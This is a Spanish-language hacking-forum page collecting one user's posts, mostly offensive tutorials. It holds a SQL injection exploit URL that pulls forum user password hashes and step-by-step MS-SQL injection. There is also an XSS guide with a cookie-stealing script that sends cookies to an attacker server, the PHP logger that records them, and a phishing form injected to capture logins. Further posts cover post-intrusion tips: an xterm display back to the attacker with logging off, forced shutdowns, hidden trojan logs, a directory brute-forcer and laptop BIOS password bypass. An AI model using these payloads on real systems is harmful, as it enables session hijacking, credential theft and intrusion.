Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - s0cratex

#1
Aquí otro ejemplo...

Script: PHPBBlog 1.0.1
Descripción: Modulo para los foros PHPbb

************************************************
* http://mods.phpbbfrench.com/phpBBlog_FR_v1.0.1.zip 
************************************************

Archivo:
blog.php

El problema
Línea 34: Se crea un switch para la variable "perform"
switch($perform)

Línea 80: Si "perform" es igual a "edit"...
case 'edit':

Línea 92: La variable "id" es recibida por el script...
$id = (isset($HTTP_POST_VARS['id'])) ? $HTTP_POST_VARS['id'] : $HTTP_GET_VARS['id'];

Linea 94: Se ejecuta la siguiente sentencia SQL...
$sql = "SELECT text FROM " . BLOG_TABLE . " WHERE id = $id LIMIT 1";

Pero la variable "id" nunca es comprobada por lo que la aplicacion se considera vulnerable a SQL Injection...

Exploit:
http://localhost/phpBB2/blog.php?perform=edit&id=1%20union%20select%20user_password%20from%20phpbb_users/*

Ni me molesto en publicar este exploit porque para poder ejecutarlo tengo que ser administrador del blog. Claro sirve para ver el username y password de el primer usuario del foro, quien suele ser el Administrador/God...jeje en fin el objetivo era dar un ejemplo más...bye





#2
Nivel Web / Re: inquietud SQL Injection en ASP
26 Agosto 2006, 04:01 AM
Viendo tu error creo que no es necesario que pongas la comilla simple ' antes de las inyecciones.

Ahora intenta sacar el nombre de la tabla y los campos con:
having 1=1--
ex: http://www.sitio.com/noticia.asp?codigo=2 having 1=1--
ahora recibiras un error así:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
Column 'noticias.id_noticia' is invalid in the select list because it is...

Luego coges el nombre del campo noticias.id_noticia y lo inyectas así:
http://www.sitio.com/noticia.asp?codigo=2 group by noticias.id_noticia having 1=1--
y recibiras practicamente el mismo error pero con otro nombre de campo...

Una vez sacados todos los nombres de los campos podrías sacar la versión del MS-SQL con "union select":
http://www.sitio.com/noticia.asp?codigo=2 union select @@version,1,1,1--

deberas poner tantos "1" como campos haya en la tabla:
Tipo de error:
Microsoft OLE DB Provider for SQL Server (0x80040E07)
Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to a column of data type int.

Y así ir probando y probando:
Para más información busca en Internet, estos ejemplos los encontras claramente explicados aquí:

http://www.telefonica.net/web/espaiwebfacultat/asqlinj.zip

espero te sirva este post... by



#3
en si para redireccionar necesitamos que una victima visualice
la página. Es decir que lo vulnerable sea un foro, tag, libro de visitas...etc
asi dejaríamos en vez de el nombre o del post el siguiente código:
<META HTTP-EQUIV=Refresh CONTENT="0; URL=http://www.elsitio.com/">
#4
creen que estaría bien incluir lugares de explotacion no tan conocidos? algo como esto:
http://eyeonsecurity.org/papers/flash-xss.pdf
recordemos que es algo final y debe de llevar de todo... :rolleyes: ah! tambien incluir cookie poisong (para bypass), ya que la cookie es uno de los principales objetivos al momento de explotar este bug...  bueno espero opinen.

-------------------------------------
Posibles soluciones al XSS, bien ordenado pero en ingles
http://www.cert.org/advisories/CA-2000-02.html
-------------------------------------
#5
referente a desactivar el scripting de el navegador, no es cosa mía yo entiendo que cosas como la interactividad de una web, pero lo pongo desde el punto de vista de un usuario común. (recordemos que hasta el IE lo tiene desactivado por defecto al instalar en win2003)...lo que quiero decir es que la recomendacion no fui yo el que la cree, solo la transcribi.

con lo de el get y post, no entendi bien lo de separar, en si se recomienda post para no mostrar simplemente las variables.

Y lo de las resoluciones por parte del coder, me parecen bien, de hecho graxias!! intento crear un txt xss-final. Porque ya harta tanto artículo y a los textos "formales" y whitepapers sobre xss les falta muxa documentacion tecnica para los desarrolladores osea que deben y que no al codear una Web.
Por favor cooperen todos para crearlo!!
#6
XSS FINAL - VERSION TXT

[ Index ]


>¿Qué son? // de donde viene, por que se dan?
>¿Para que nos sirven? // usos que le podemos dar, por que se dicen que se explotan...
>¿Como automatizarlos? // scripts necesarios para la automatizacion de los datos que nos interesan
>¿Como erradicarlos? //formas de realizar una programación segura

[ ¿Qué son? ]

El fallo se da por la capacidad que tiene cierta página de mostrar el contenido de una variable de un lenguaje web (javascript, php...etc) Al recoger los datos de la variable no valida su contenido y lo muestra a como lo leyo, pero el contenido al ser mostrado en el navegador va incluido en el código de fuente, y si la variable llevara códigos html estos formarían parte del contenido del sitio o siendo scripts al ser cargada la página estos se ejecutarían. | Este bug es muy común en Busquedas internas por ejemplo.

Ejemplos de códigos vulnerables:
Ex(1) en PHP:


<?php
echo'<html><head><title>Ejemplo XSS Vuln</title></head><body><form action="'.$_SERVER[PHP_SELF].'" method="GET" name="form1"><center>Introduza su nombre: <input type="text" name="nombre"><input type="button" name=submit value="enviar"></body></html>';
$name $_GET['nombre'];
echo
"su nombre es $name"
?>


Ex(2) en javascript:
<html>
<head><title>Example XSS Vuln</title></head>
<body>
<script languaje="javascript">
<!--
function Mostrarnombre()
{
   document.write('Su nombre es: ' + document.nombre.name.value);
}
//->
</script>
<form name="nombre">
<input type="text" name="name">
<a href="javascript:Mostrarnombre();">Mostrar nombre</a><br>
</body>
</html>


En ambos casos podemos sustituir el valor del nombre por ejemplo por, <script>alert()</script>, y si salta un mensaje de alerta es que no hace ninguna comprobacion o bien es vulnerable a XSS.

[ ¿Para qué nos sirven? ]

Pues si estan dentro del hack deben de servir para algo no??, pues si... las html injections nos pueden servir para fines totalmente distintos:
-Apoderarnos del navegador de la victima
-Apoderarnos de la cookie de sesion de la victima
-Quedarnos con su password con ayuda de la ing social
-Modificar una página

Apoderandonos del navegador de la victima.
####################################

Con esto no quiero decir que vamos a tener una interfaz gráfica del navegador de la victima y vamos a poder manosearle el navegador a gusto y antojo. No, pero si es algo muy cercano a ello, por ejemplo con xss podemos hacer que el usuario visite una página sin su consentimiento, (¿no es esto pop-up?) nooo...claro que no, en primer lugar el pop-up es molesto (asi es su naturaleza) y nosotros podemos crear una página agradable que diga por ejemplo "redireccionando a nuestra página nueva".
OK ¿pero como redirecciono al man? <META HTTP-EQUIV=Refresh CONTENT="0; URL=http://www.tuserver.com/"> Este código lo que hace es redireccionar a www.tuserver.com en 0 segundos, osea ya!! Pero donde inserto esto?? Ajam, ahora si se los explico.

Cuando nosotros consideramos a una aplicacion vulnerable a XSS almenos yo las clasifico en 2 grupos:
1. Las aplicaciones webs que alojan el código, (como tagboard's, foros, libros de visitas, sistemas de comentarios..etc)
2. Las aplicaciones webs que muestran el contenido de cierta variable pero no la dejan alojada, por ejemplo un server que contenga una variable no comprobada asi:
http://www.elserver.com/app/index.php?chit=<script>alert()</script> en este caso por X o Y motivo el contenido de la variabel chit se muestra en pantalla, pero no aloja nada para mostrar despues, por eso siempre veras los bug's XSS como "nivel de gravedad:bajo" si no es que muuy bajo.

Pero que...¿inyectar este código no siempre es tan fácil? en ocasiones claro ayudandonos del código de la aplicacion web, veremos si las variables son comprobadas en ciertas condiciones, o inclusive intentar meter el código en una imágina o en su información EXIF o en la cookie. Las zonas donde podemos intentar localizar el bug son muchas. Es común que te encuentres con bugs de tipo:
<img dynsrc="javascript: codigo">
<input type="image" dynsrc="javascript: codigo">
<bgsound src="javascript: codigo">
Como observamos estos son algunas formas de saltarnos ciertas "protecciones".

Apoderandonos de la cookie de sesion de la victima.
###########################################
Repasemos: ¿qué es la cookie?
Los Cookies graban información acerca de su visita a un sitio en particular, y sólo el sitio que los creó los puede leer más tarde. Se usan cookies para hacer que su navegación en la Web sea más personal y conveniente. [hasta aquí...eso es lo principal]
El objetivo de este paper no es practicar el Cookie poisong, asi que sólo mostraré como sacar la cookie por XSS.
Una vez hallamos localizado una aplicacion vulnerable podemos obtener la cookie de la siguiente forma <script>alert(document.cookie)</script>
Y con gentileza nos devuelve la cookie. Esta si es de tipo [user::guest] podemos intentar cambiarla por [user::admin] para ver si nos logueamos como admins.
Pero con que cambio la cookie, Existen muchas toolz, (aparte claro de hacer la conexion manualmente y Poner el header Cookie:..etc) una de las toolz es IECV
Internet Explorer Cookie Viewer. Claro también las modifica.
ok, ahora para enviarnos la cookie?? Miren hacia abajo en ¿como automatizarlos?.

Quedandonos con su user y pass con ing. social.
#########################################

OK. ¿Cómo le hacemos para que la victima vaya a la página vulnerable?
Vamos con la ingenería social, que consiste en engañar a la gente para que haga algo, para esto nos valemos desde mails anónimos o técnicas avanzadas de phishing.

Por ejemplo podríamos enviar un mail a la víctima diciendo haciendonos pasar por una empresa, que ofrece un servicio (hosting gratuito, diseños gratis..etc) Y poner en el vínculo una dirección así:
http://www.servervuln.com/index.php?varvuln=<form method="POST" action="http://www.tuserver.com/recv.php"><b>Introduzca los datos de su cuenta por favor:<br>Nombre: <input type="text" name="username"><br>Password: <input type="password" name="pass"><br><input type="button" value="enviar" name="botom"></form>

Eso es sólo un ejemplo unstedes mejorenlo según la situación.
-Ahora que si ya tenemos el script en una página sólo basta Mandarle la dirección. O hacerle aparecer un pop-up con javascript asi:
<script language=javascript>
function ventanaSecundaria (URL){
   window.open(URL,"ventana1","width=120,height=300,scrollbars=NO")
}
</script>
<a href="javascript:ventanaSecundaria('http://www.elhacker.net')"> Hosting Gratuito</a>
--------------------------
Como puedes observar se puede hacer de todo las unicas limitantes son las del mismo tipo de script que insertemos.
--------------------------
Lean sobre la ing. social, pero no la mal interpreten que no es que toda la vida vas a andar engañando por alli, tienes que darte credibilidad como persona.

Modificando la página.
###################

<div id="Hacked" style="position:absolute; width:200%; height:10000px;"z-index:1; left: 0px; top: 0px; background-color: #FFFFFF; layer-background-color: #FFFFFF; border: 1px none #000000;"><p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">&nbsp;</p> <p align="center">HOLA.</p> <div align="left"> <blockquote> <p align="center">-s0cratex</p> </blockquote> </div> </div>
Este es un pequeño ejemplo, usando div. Ahora sólo cambiamos los valores.

eXtras
#####

1. no escribi acerca de:
url encode, por que nunca me ha sido de muxa utilidad, ademas firefox lo urlencodea automaticamente.

2. este tipo de ataques entre la comunidad de "hackers" son considerados como de "script kiddies" no su explotacion, si no el verlo como algo muy importante o usarlo en exceso (ya saben andar redireccionando a todo mundo)

3. escucharon acerca de un virus xss, es falso jeje (esa no es la funcion de un virus), pero la historia es medio-diver leanla.

[ ¿Cómo automatizarlos ? ]

Una vez encontramos un foro, y queremos quedarnos con la cookie del administrador. Entonces podemos hacer que todos los visitantes que por ejemplo miren el foro nos envien su cookie e IP. Con unas cuantas líneas mas podemos hacer que lo envíen al mail pero si se supone que  el server atacante es nuestro no hay necesidad.
Asi:
en nuestro server colocamos el "gcookie.php" con el siguiente código->
<?php
$cookie 
$_GET['c'];
$ip getenv ('REMOTE_ADDR');
$date=date("m/d/Y g:i:s a");
$referer=getenv ('HTTP_REFERER');
$fl fopen('log.txt''a');
fwrite($fl"\n".$ip.' :: '.$date."\n".$referer." :: ".$cookie."\n");
fclose($fl);
?>

Código que pondremos en el foro o variable (con ing. social):
<script>window.location='http://www.tuserver.com/gcookie.php?c='+document.cookie;</script>

[ ¿Cómo erradicarlos? ]

Desactivar el uso de scripting en el navegador.
Usar el mehotd POST y no GET.
Filtrar el contenido de las variables (ponganle las " ")

Texto creado por s0cratex [ernesto lópez] at s0cr4t3x@gmail.com
Versión html muy pronto (claro es mas monita)
#7
Tutoriales - Documentación / Tip's.
11 Marzo 2006, 21:15 PM
[ .tip 1. xterm ]
------------------
Al conseguir un remote code execution o una shell ejecutamos lo siguiente para que el servidor hackeado nos devuelva una pantalla gráfica de la shell, claro nosotros debemos de tener una terminal X, eso no es mas que un linux con interfaz gráfica, cualquier live_cd linux funciona. (ej: whax)
------------------------------------------------------------------------
xterm -ut -display hacker_IP:0.0
------------------------------------------------------------------------
xterm -> comando
-ut -> no dejar logs
-display -> que aparezca en
hacker_IP -> Esta no necesariamente es la IP puede ser una direccion no_ip.
------------------------------------------------------------------------



[ .tip 2. downloader ]
------------------------

Cuando tengamos que descargar muxas cosas. Podemos hacernos del siguiente script para conseguirlo, ahora solo tenemos que meter el listado de direcciones y listo.

------------------------------------------------------------------------
#!/usr/bin/perl -w

# Note: You also need the file [dloadlist.txt] in the same directory
# containing the list of files you wish to download on separate lines e.g.

# [dloadlist.txt]
# http://www.domain_name.com/file1.htm
# http://www.domain_name.com/file2.htm
# http://www.domain_name.com/file3.htm

#==========================================================================
#####################Variables#####################
$dload_list_file = "dloadlist.txt";
#####################Variables#####################

open(DAT,"$dload_list_file");
@raw_data = <DAT>;
close(DAT);

foreach $line ( @raw_data) {
    chop($line);
    ($file_to_dload)=split(/\n/,$line);

    system("lwp-download $file_to_dload");
}
------------------------------------------------------------------------



[ .tip 3. shutwin ]
--------------------


Al entrar a un windows con el siguiente comando apagamos el PC, esto se anula con shutdown -a.
------------------------------------------------
shutdown -s -f -t 15 -c "bye"
------------------------------------------------

[ .tip 4. Aprovechar las webs ]

------------------------------------------------
La web www.netcraft.com nos puede dar muxa información acerca de un objetivo.
------------------------------------------------
------------------------------------------------
La web www.gdataonline.com tiene raibowtables hasta de varios gb's asi que crackear un md5, será rapido alli.
------------------------------------------------
------------------------------------------------
Al momento de dejar un troyano o cualquier utilería de pilfering que deje logs, es posible obtener los logs desde el web
por medio de scripts que lean el contenido de un archivo y ocultandolo en el directorio del web, en php con show_source()
por ejemplo.



[ .tip 5. http responses ]
--------------------------


1. Respuestas del server
------------------------
Cuando conectamos con un servidor http y hacemos una consulta, ya sea desde un navegador o desde un terminal, el servidor
respóndera con ciertos codigos, el mas común 404:

  • Todo correcto.
    200 OK con HEAD
     
  • Redirecciónes
    301 Movido permanentemente
    302 Movido temporalmente
     
  • Errores del cliente

    400 El server no entiende su sentencia.
    401 No está autorizado.
    403 Prohibido 
    404 No encontrado

  • Errores del servidor

    500 Error interno en datos.
    501 No soporta cierto método.
    502 Bad Gateway Cuando usan proxys
    503 Service Unavailable

    2. Scanner de archios y directorios
    -----------------------------------
    Sin duda se han topado con bugs en aplicaciones que revelan si un archivo o directorio existe o nó, y se preguntan como?
    fácil si al hacer una petición HEAD (sólo cabecera) nos devuelve 200, el archivo o directorio existe si al contrario
    recibimos otro, bueno...ya sabemos como guiarnos|
    --------------------Inicio del scanner en perl----------------------
    #!/usr/bin/perl
    #Desvelador de Directorios By MoskiS [W4rg4m3 Gr0up] V 1.0

    use LWP::Simple;
    use LWP::Useragent;

    die "Sintaxis: $0 <URL SIN BARRAS NI HTTP://> <DICCIONARIO> -d\n" unless ($ARGV[1]);

    $url = "http://$ARGV[0]";
    $diccionario = $ARGV[1];

    open (DICCIONARIO, "$diccionario"), or die "Error al abrir el Diccionario: $!\n";

    print ".----------------------------------.\n";
    print ".>>       DesVeladoR De DirEcToRioS.\n";
    print ".>>>      By MoskiS                .\n";
    print ".>>>>     moskis11\@hotmail.com     .\n";
    print ".----------------------------------.\n\n";

    print "Intentando el desvelado...\n";
    print ".___________________________________________________________.\n\n";

        foreach $linea(<DICCIONARIO>)
        {
          $urlfinal = "$url/$linea";
          $ua = LWP::UserAgent->new();
          $request = HTTP::Request->new('HEAD', $urlfinal);
          $response = $ua->request($request);
          if ($response->code == 200) { print " >>
  • << $urlfinal\n"; }
          if (($ARGV[2] eq "-d") && ($response->code == 404))
          {
            print ">> [-] $urlfinal";
          }
        }

    print "\nSe Ha Terminado de Desvelar... Gracias ;P\n";
    print ".___________________________________________________________.\n\n";
    print "\nDesVeLaDor De DiRecToRiOs By MoskiS [moskis11@hotmail.com]\n";

    close(DICCIONARIO);


    --------------------FIN del scanner en perl-------------------------
    Este es un scanner de directorios que trabaja con diccionario, siempre tener un buen diccionario a mano.

    3- Utilidades
    -------------

    Recordemos que las máquinaz se crearon para ahorrarnos trabajo, ahora supongamos que cierto directorio como puede ser el de
    administracion puede tener varios nombres /admin /administracion...etc entonces busquemos un buen diccionario y listo.

    ------------------------------------------------------------------------------------------------------
    Compilación por s0cratex, [ernesto lopez] en s0cr4t3x@gmail.com





#8
el aparato que posteo anelkaos te resetea un gran numero de ibm thinkpad por que no lo intentas crear o pedir que te lo hagan?? jeje
algun ing. electronico por ai?

para localizar
el jumper(interruptor, switch...etc) generalmente se encuentra quitando el teclado, claro con cuidado. No necesariamente lo vas a distinguir a simple vista, en ocasiones e tenido que usar lupas para resetearlos y agujas.jeje pero ese aparato se ve + o - y asi ya te queda para no tener que destapar la portatil que sea como sea siempre es un peligro (son muy delicadas)
de cualquier forma voy a buscar mas sobre los passwords de las ibm tninkpads y t aviso.
#9
Es verdad lo del jumper. Tambien es normal encontrarte con finos interruptores con los que puedes desactivar el pass por ejemplo co n una aguja..jeje.

Pero por ejemplo me sucedio una vez con una dell latitude que no me servia ni el generador de claves ni el passmaestro. Y que la unica forma fue haciendole puente a un chip. (dichoso manual el que me encontre)
jeje